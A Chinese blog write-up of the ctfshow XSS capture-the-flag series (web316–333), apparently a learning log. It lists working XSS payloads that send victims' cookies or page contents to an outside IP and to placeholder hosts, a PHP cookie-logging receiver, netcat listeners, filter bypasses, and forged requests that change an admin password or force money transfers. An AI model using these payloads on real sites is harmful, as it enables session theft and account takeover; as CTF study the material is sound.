ctfshow XSS专题

XSS我一直想学,今天终于开始啦~

XSS三种利用方式:整理常见的三种XSS攻击类型_Edon-Du的博客-CSDN博客_xss类型

常用payload:

外带 <script> var img=document.createElement("img"); img.src="http://118.31.168.198:39543/"+document.cookie; </script> <script>window.open('http://118.31.168.198:39543/'+document.cookie)</script> <script>location.href='http://118.31.168.198:39543/'+document.cookie</script> <script>window.location.href='http://118.31.168.198:39543/'+document.cookie</script> <input οnfοcus="window.open('http://118.31.168.198:39543/'+document.cookie)" autofocus> 通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发

<svg οnlοad="window.open('http://118.31.168.198:39543/'+document.cookie)">

<iframe οnlοad="window.open('http://118.31.168.198:39543/'+document.cookie)"></iframe>

<body οnlοad="window.open('http://118.31.168.198:39543/'+document.cookie)">

(摘自ctfshow_web入门 xss - upstream_yu - 博客园 (cnblogs.com)

web316(反射型XSS)

这道题没有任何过滤,主要是熟悉XSS的利用方式,多试几种方法:

1.XSS平台

平台网址:http://xsscom.com/(不知道为什么https://xss.pt/xss.php收不到后台的cookie只能X自己...)

然后新建项目,把任意一种代码复制上去

刷新题目,等一会儿,后台bot自动点击就能抓到后台bot的cookie了(也抓得到你自己的cookie因为你自己也点击了)

为什么能抓到呢?其实是因为你提交的脚本被服务器处理之后嵌入到了页面中,生成了一个带有特定参数的恶意网址(如http://3fab5170-b52e-4977-8b3e-76537886948f.challenge.ctf.show/?msg=%3C%2Ftextarea%3E%27%22%3E%3Cscript+src%3Dhttp%3A%2F%2Fxsscom.com%2F%2FqnGgQV%3E%3C%2Fscript%3E)后台bot访问这个新生成的网址,就会执行内部嵌入的脚本,这个脚本就会把bot的cookie反射到接收页面上

由于是反射型cookie,所以只有带着特定参数的网址才有效~

2.自己的VPS

(1)脚本接收

先在自己的服务器上加一个接收脚本,如下:

<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>

这个php脚本用于接收所有访问该页面的访问者的cookie

创建等待被写入的cookie.txt文件,然后在题目输入框中输入以下内容:

<script>
var img = document.createElement("img"); //用于创建img标签 
img.src = "http://your-domain:your-port/your-filename.php?cookie="+document.cookie; //创建src,让目标服务器访问我们的接收脚本页面
</script>

这样,就可以让服务器在请求资源的时候自动访问我们的脚本,从而把访问者的cookie带出~

(2)端口监听

也可以通过监听端口拿到cookie,方法如下:

首先,我们在自己的服务器上监听端口

常用的是nc命令,比如监听6767端口:

nc -lvvp 6767

不过有一个问题,nc命令只能收到一次请求,而第一次请求是你自己的cookie,稍微麻烦点,可能需要等一段时间再开nc或者开两次

相比而言,python3的http.server更好用一些,在6767端口开server命令:

python3 -m http.server 6767

这样就可以监听多次请求~

然后,我们在题目的输入框内输入下面的脚本:

<script> 
var img = document.createElement("img"); //用于创建img标签 
img.src = "http://your-domain:your-port/"+document.cookie; //创建src,让目标服务器访问我们的接收脚本页面 
</script>

这个脚本中对url进行了拼接,前面是你监听的端口,后面把cookie当做请求文件的路径。显然请求的文件是不存在的,但是我们可以在监听时拿到访问内容,就可以拿到cookie,放个截图:

我们可以看到,请求的路径就是cookie~

三种方式,做个积累~

web317

过滤了script,那就换一个payload呗

payload:<input οnfοcus="window.open('http://your-ip:your-port/'+document.cookie)" autofocus>

(PS:document.cookie是js的语法,必须放到js中解析,我一开始直接放到src里面没反应)

web318

说是过滤了img,上一题payload直接照抄没影响

听群主说

<body οnlοad="window.open('http://your-ip:your-port/'+document.cookie)">

这种payload比较好绕过过滤,积累一下下~

web319

不知道过滤了个啥,插就完事了

插,都可以插!

web320

还以为过滤了什么标签,结果是多过滤了空格啊

用注释符/**/或者tab(%09)或者/代替空格即可

(PS:tab没法在输入框中直接打出来,在hackbar中msg参数后面直接用%09代替)

web321-326

这跟上一道题的payload是一样一样的啊~

看了Y4师傅的博客,看到好像还有document.write(String.fromCharCode(ascii码))绕过的方式,不过没用到~感觉是针对某些关键词过滤可以直接绕过去

web327

这道题变成写信了,收件人我们得拿管理员的cookie所以盲猜admin,发件人随便写,然后内容写上payload就行

我猜这道题叫存储型XSS是因为我们发了信件过去然后收件人打开,这封信其实就已经运行了恶意脚本了,相当于直接把payload插到了一个页面中,一点击就会中招哈

web328

这道题一个是拿端口监听监听不到flag了不知道为啥,所以说要用脚本接收,然后在注册界面上密码里面输入payload

<script> var img = document.createElement("img"); img.src = "http://ip:port/filename.php?cookie="+document.cookie;</script>

原理其实是我们注册输入的密码会注入到用户管理界面,那么管理员在访问用户管理界面的时候就会执行XSS把cookie转发到我们的VPS上

接收脚本同之前:

<?php 
$cookie = $_GET['cookie']; 
$log = fopen("cookie.txt", "a"); 
fwrite($log, $cookie . "\n"); 
fclose($log); 
?>

直接提交,拿到管理员cookie,然后登录,直接伪造cookie:

再查看用户管理界面就可以拿到flag了

另外还有个比较坑的地方,如果你不是admin登录,用户管理界面你是可以改密码框的值的,那里也可以用XSS,但是应该是注入点不对,不再加载资源也没有自动点击了,所以也没什么用...

WEB329

这道题就不一样了,群主设置了cookie失效,发给你的cookie没用了

那其实就更直接一点,不用cookie伪造管理员登录,直接拿管理员的html页面内容

Y4师傅的payload:

var img = new Image();
img.src = “http://y4tacker.top/index.php?q=”+document.querySelector(’#top > div.layui-container > div:nth-child(4) > div > div.layui-table-box > div.layui-table-body.layui-table-main’).textContent;
document.body.append(img);

参照着网页元素解释一下:

#top > div.layui-container > div:nth-child(4) > div > div.layui-table-box > div.layui-table-body.layui-table-main:

#top利用id定位到body标签

>是级与级之间的连接符

div.layui-container是元素类型+class的定位方式

nth-child是子元素选择器,根据括号里面的数字选择对应顺序的子元素,注意编号是包括下两级甚至更多的子元素的,但是每一次只能用下一级的子元素

到最后一级,下面的就是直接文本元素了,这时候可以用.textContent来获取其直接子元素的文本内容

这样,我们就可以在管理员访问该界面的时候,直接拿到管理员看到的文本内容~

还有群主的payload也可以用,思路是一样的,只是群主用的是遍历~

web330

这道题变了一下注入点,变成注册的用户名了,密码被隐藏掉了所以没法执行

两种思路:

1.直接拿页面源码(账号密码里面没有flag了,但是管理员看到的页面肯定是有flag的,所以直接拿源码)

payload1:<script>var img = new Image(); img.src = "http://ip:port/x.php?cookie="+document.querySelector('#top > div.layui-container').textContent; document.body.append(img);</script>

2.多了一个修改密码,考虑改管理员密码

payload2:<script>$.ajax({url:"http://127.0.0.1/api/change.php?p=123",success:function(result){}})</script>
payload3:<script>window.open('http://127.0.0.1/api/change.php?p=123')</script>

只要让管理员访问这个页面的时候执行重定向访问改密码就可以了

一般来说,XSS要么用来重定向执行访问请求,要么用来带cookie或者页面信息以便进一步利用

web331

跟上题的思路差不多,payload1照抄可以用,payload2要改一改,payload3用不了了,因为直接访问的url没办法post数据

payload1:<script>var img = new Image(); img.src = "http://ip:port/x.php?cookie="+document.querySelector('#top > div.layui-container').textContent; document.body.append(img);</script>
payload2:<script>$.ajax({url:"http://127.0.0.1/api/change.php",method: "POST",data:{'p':'123'},cache: false,success: function(res){}})</script>

web332

多了个转账汇款功能,flag要9999元,转账为负值就可以给自己加钱,也属于常规思路了,给admin转-10000元就可以买flag了

貌似还可以自己给自己转账,转完之后钱竟然会增加???有点离谱但是也可以

web333

自己给自己转账依然是可以的,不过不能用负数了,应该是取了个绝对值,可以让admin给我们转账哈~老规矩,注册账号的时候用户名XSS:

payload:<script>$.ajax({url:"http://127.0.0.1/api/amount.php",method: "POST",data:{'u':'123','a':'10000'},cache: false,success: function(res){}})</script>

这样,admin就会一直给你转账~

最后群主总结了一下,XSS主要可以用来控制用户页面内容,还可以控制用户访问,相当于控制了浏览器;还可以带出cookie或者页面,造成关键信息泄露

好了,XSS部分到此AK~

参考三位师傅的博客,感谢~

CTFSHOW xss篇_羽的博客-CSDN博客_ctf xss

ctfshow XSS专题_会下雪的晴天-CSDN博客

ctfshow_web入门 xss - upstream_yu - 博客园 (cnblogs.com)

我的博客:https://yinkstudio.xyz,欢迎关注~

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值